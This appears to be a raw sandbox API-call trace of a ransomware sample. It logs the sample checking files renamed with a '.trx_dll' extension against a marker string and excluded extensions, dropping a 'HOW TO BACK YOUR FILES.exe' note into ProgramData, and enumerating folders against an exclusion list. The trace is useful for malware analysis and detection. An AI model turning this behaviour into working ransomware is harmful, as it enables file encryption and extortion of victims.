	[0051.009] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONINTL.REST.trx_dll" | out: lpString1="ONINTL.REST.trx_dll") returned="ONINTL.REST.trx_dll"
	[0051.010] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0051.010] lstrlenW (lpString="Apollon865") returned 10
	[0051.010] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.010] lstrlenW (lpString=".dll") returned 4
	[0051.010] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0051.010] lstrlenW (lpString=".lnk") returned 4
	[0051.010] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.010] lstrlenW (lpString=".ini") returned 4
	[0051.010] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0051.010] lstrlenW (lpString=".sys") returned 4
	[0051.010] lstrcmpiW (lpString1="ONINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0051.010] lstrlenW (lpString="ONINTL.REST.trx_dll") returned 19
	[0051.010] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLLIBR.DLL.trx_dll" | out: lpString1="OUTLLIBR.DLL.trx_dll") returned="OUTLLIBR.DLL.trx_dll"
	[0051.010] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0051.010] lstrlenW (lpString="Apollon865") returned 10
	[0051.010] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.010] lstrlenW (lpString=".dll") returned 4
	[0051.010] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.010] lstrlenW (lpString=".lnk") returned 4
	[0051.010] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.010] lstrlenW (lpString=".ini") returned 4
	[0051.010] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.010] lstrlenW (lpString=".sys") returned 4
	[0051.010] lstrcmpiW (lpString1="OUTLLIBR.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.010] lstrlenW (lpString="OUTLLIBR.DLL.trx_dll") returned 20
	[0051.010] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLLIBR.REST.trx_dll" | out: lpString1="OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll"
	[0051.010] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0051.010] lstrlenW (lpString="Apollon865") returned 10
	[0051.010] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.010] lstrlenW (lpString=".dll") returned 4
	[0051.010] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".dll") returned 1
	[0051.011] lstrlenW (lpString=".lnk") returned 4
	[0051.011] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.011] lstrlenW (lpString=".ini") returned 4
	[0051.011] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".ini") returned 1
	[0051.011] lstrlenW (lpString=".sys") returned 4
	[0051.011] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".sys") returned 1
	[0051.011] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0051.011] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OUTLWVW.DLL.trx_dll" | out: lpString1="OUTLWVW.DLL.trx_dll") returned="OUTLWVW.DLL.trx_dll"
	[0051.011] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0051.011] lstrlenW (lpString="Apollon865") returned 10
	[0051.011] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.011] lstrlenW (lpString=".dll") returned 4
	[0051.011] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.011] lstrlenW (lpString=".lnk") returned 4
	[0051.011] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.011] lstrlenW (lpString=".ini") returned 4
	[0051.011] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.011] lstrlenW (lpString=".sys") returned 4
	[0051.011] lstrcmpiW (lpString1="OUTLWVW.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.011] lstrlenW (lpString="OUTLWVW.DLL.trx_dll") returned 19
	[0051.011] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PPINTL.DLL.trx_dll" | out: lpString1="PPINTL.DLL.trx_dll") returned="PPINTL.DLL.trx_dll"
	[0051.011] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0051.011] lstrlenW (lpString="Apollon865") returned 10
	[0051.011] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.011] lstrlenW (lpString=".dll") returned 4
	[0051.011] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.011] lstrlenW (lpString=".lnk") returned 4
	[0051.011] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.011] lstrlenW (lpString=".ini") returned 4
	[0051.011] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.012] lstrlenW (lpString=".sys") returned 4
	[0051.012] lstrcmpiW (lpString1="PPINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.012] lstrlenW (lpString="PPINTL.DLL.trx_dll") returned 18
	[0051.012] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PPINTL.REST.trx_dll" | out: lpString1="PPINTL.REST.trx_dll") returned="PPINTL.REST.trx_dll"
	[0051.012] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0051.012] lstrlenW (lpString="Apollon865") returned 10
	[0051.012] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.012] lstrlenW (lpString=".dll") returned 4
	[0051.012] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0051.012] lstrlenW (lpString=".lnk") returned 4
	[0051.012] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.012] lstrlenW (lpString=".ini") returned 4
	[0051.012] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0051.012] lstrlenW (lpString=".sys") returned 4
	[0051.012] lstrcmpiW (lpString1="PPINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0051.012] lstrlenW (lpString="PPINTL.REST.trx_dll") returned 19
	[0051.012] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUB6INTL.DLL.trx_dll" | out: lpString1="PUB6INTL.DLL.trx_dll") returned="PUB6INTL.DLL.trx_dll"
	[0051.012] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0051.012] lstrlenW (lpString="Apollon865") returned 10
	[0051.012] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.012] lstrlenW (lpString=".dll") returned 4
	[0051.012] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.012] lstrlenW (lpString=".lnk") returned 4
	[0051.012] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.012] lstrlenW (lpString=".ini") returned 4
	[0051.012] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.012] lstrlenW (lpString=".sys") returned 4
	[0051.012] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.012] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0051.016] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUB6INTL.REST.trx_dll" | out: lpString1="PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll"
	[0051.016] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0051.016] lstrlenW (lpString="Apollon865") returned 10
	[0051.016] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.016] lstrlenW (lpString=".dll") returned 4
	[0051.016] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".dll") returned 1
	[0051.016] lstrlenW (lpString=".lnk") returned 4
	[0051.016] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.016] lstrlenW (lpString=".ini") returned 4
	[0051.016] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".ini") returned 1
	[0051.016] lstrlenW (lpString=".sys") returned 4
	[0051.016] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".sys") returned 1
	[0051.016] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0051.016] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUBWZINT.REST.trx_dll" | out: lpString1="PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll"
	[0051.017] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0051.017] lstrlenW (lpString="Apollon865") returned 10
	[0051.017] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.017] lstrlenW (lpString=".dll") returned 4
	[0051.017] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".dll") returned 1
	[0051.017] lstrlenW (lpString=".lnk") returned 4
	[0051.017] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.017] lstrlenW (lpString=".ini") returned 4
	[0051.017] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".ini") returned 1
	[0051.017] lstrlenW (lpString=".sys") returned 4
	[0051.017] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".sys") returned 1
	[0051.017] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0051.017] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SGRES.DLL.trx_dll" | out: lpString1="SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll"
	[0051.017] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0051.017] lstrlenW (lpString="Apollon865") returned 10
	[0051.017] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.017] lstrlenW (lpString=".dll") returned 4
	[0051.017] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.017] lstrlenW (lpString=".lnk") returned 4
	[0051.017] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.017] lstrlenW (lpString=".ini") returned 4
	[0051.017] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.017] lstrlenW (lpString=".sys") returned 4
	[0051.017] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.017] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0051.017] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="STINTL.DLL.trx_dll" | out: lpString1="STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll"
	[0051.017] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0051.017] lstrlenW (lpString="Apollon865") returned 10
	[0051.017] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.017] lstrlenW (lpString=".dll") returned 4
	[0051.018] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.018] lstrlenW (lpString=".lnk") returned 4
	[0051.018] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.018] lstrlenW (lpString=".ini") returned 4
	[0051.018] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.018] lstrlenW (lpString=".sys") returned 4
	[0051.018] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.018] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0051.018] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISBRRES.DLL.trx_dll" | out: lpString1="VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll"
	[0051.018] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0051.018] lstrlenW (lpString="Apollon865") returned 10
	[0051.018] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.018] lstrlenW (lpString=".dll") returned 4
	[0051.018] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.018] lstrlenW (lpString=".lnk") returned 4
	[0051.018] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.018] lstrlenW (lpString=".ini") returned 4
	[0051.018] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.018] lstrlenW (lpString=".sys") returned 4
	[0051.018] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.018] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0051.018] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISINTL.DLL.trx_dll" | out: lpString1="VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll"
	[0051.018] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0051.018] lstrlenW (lpString="Apollon865") returned 10
	[0051.018] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.018] lstrlenW (lpString=".dll") returned 4
	[0051.018] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.018] lstrlenW (lpString=".lnk") returned 4
	[0051.018] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.018] lstrlenW (lpString=".ini") returned 4
	[0051.018] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.019] lstrlenW (lpString=".sys") returned 4
	[0051.019] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.019] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0051.019] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="WWINTL.DLL.trx_dll" | out: lpString1="WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll"
	[0051.019] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0051.019] lstrlenW (lpString="Apollon865") returned 10
	[0051.019] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.019] lstrlenW (lpString=".dll") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.019] lstrlenW (lpString=".lnk") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.019] lstrlenW (lpString=".ini") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.019] lstrlenW (lpString=".sys") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.019] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0051.019] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="WWINTL.REST.trx_dll" | out: lpString1="WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll"
	[0051.019] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0051.019] lstrlenW (lpString="Apollon865") returned 10
	[0051.019] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.019] lstrlenW (lpString=".dll") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0051.019] lstrlenW (lpString=".lnk") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.019] lstrlenW (lpString=".ini") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0051.019] lstrlenW (lpString=".sys") returned 4
	[0051.019] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0051.019] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0051.020] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="XLINTL32.DLL.trx_dll" | out: lpString1="XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll"
	[0051.020] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0051.020] lstrlenW (lpString="Apollon865") returned 10
	[0051.020] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.020] lstrlenW (lpString=".dll") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.020] lstrlenW (lpString=".lnk") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.020] lstrlenW (lpString=".ini") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.020] lstrlenW (lpString=".sys") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.020] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0051.020] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="XLINTL32.REST.trx_dll" | out: lpString1="XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll"
	[0051.020] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0051.020] lstrlenW (lpString="Apollon865") returned 10
	[0051.020] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.020] lstrlenW (lpString=".dll") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0051.020] lstrlenW (lpString=".lnk") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.020] lstrlenW (lpString=".ini") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0051.020] lstrlenW (lpString=".sys") returned 4
	[0051.020] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0051.020] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0051.020] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="XLSLICER.DLL.trx_dll" | out: lpString1="XLSLICER.DLL.trx_dll") returned="XLSLICER.DLL.trx_dll"
	[0051.020] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0051.020] lstrlenW (lpString="Apollon865") returned 10
	[0051.020] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.020] lstrlenW (lpString=".dll") returned 4
	[0051.021] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.021] lstrlenW (lpString=".lnk") returned 4
	[0051.021] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.021] lstrlenW (lpString=".ini") returned 4
	[0051.021] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.021] lstrlenW (lpString=".sys") returned 4
	[0051.021] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.021] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0051.021] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Network", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0051.021] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bdf28 | out: hHeap=0x580000) returned 1
	[0051.021] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0051.021] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network") returned 32
	[0051.021] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Network" | out: lpString1="C:\\ProgramData\\Microsoft\\Network") returned="C:\\ProgramData\\Microsoft\\Network"
	[0051.021] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.021] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Network\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\network\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.021] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.022] GetLastError () returned 0x0
	[0051.022] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.022] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.022] CloseHandle (hObject=0x15c) returned 1
	[0051.022] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.022] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.022] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Network\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.022] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.022] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.022] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.022] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.022] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.022] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.022] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.022] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.022] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbdff50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbdff50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1
	[0051.022] lstrcmpiW (lpString1="Connections", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.022] lstrcmpiW (lpString1="Connections", lpString2="Apollon865.txt.exe") returned 1
	[0051.022] lstrcmpiW (lpString1="Connections", lpString2=".") returned 1
	[0051.022] lstrcmpiW (lpString1="Connections", lpString2="..") returned 1
	[0051.022] lstrcmpiW (lpString1="Connections", lpString2="windows") returned -1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="bootmgr") returned 1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="temp") returned -1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="pagefile.sys") returned -1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="boot") returned 1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="ids.txt") returned -1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="ntuser.dat") returned -1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="perflogs") returned -1
	[0051.023] lstrcmpiW (lpString1="Connections", lpString2="MSBuild") returned -1
	[0051.023] lstrlenW (lpString="Connections") returned 11
	[0051.023] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\*") returned 34
	[0051.023] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Connections" | out: lpString1="Connections") returned="Connections"
	[0051.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0051.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5458
	[0051.023] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0051.023] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fbb9df0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fbb9df0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="Apollon865.txt.exe") returned 1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2=".") returned 1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="..") returned 1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="windows") returned -1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="bootmgr") returned 1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="temp") returned -1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="pagefile.sys") returned -1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="boot") returned 1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="ids.txt") returned -1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="ntuser.dat") returned -1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="perflogs") returned -1
	[0051.023] lstrcmpiW (lpString1="Downloader", lpString2="MSBuild") returned -1
	[0051.023] lstrlenW (lpString="Downloader") returned 10
	[0051.023] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Network\\Connections") returned 44
	[0051.023] lstrcpyW (in: lpString1=0x2d3e592, lpString2="Downloader" | out: lpString1="Downloader") returned="Downloader"
	[0051.023] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0051.024] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5983a8
	[0051.024] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x5b7c10
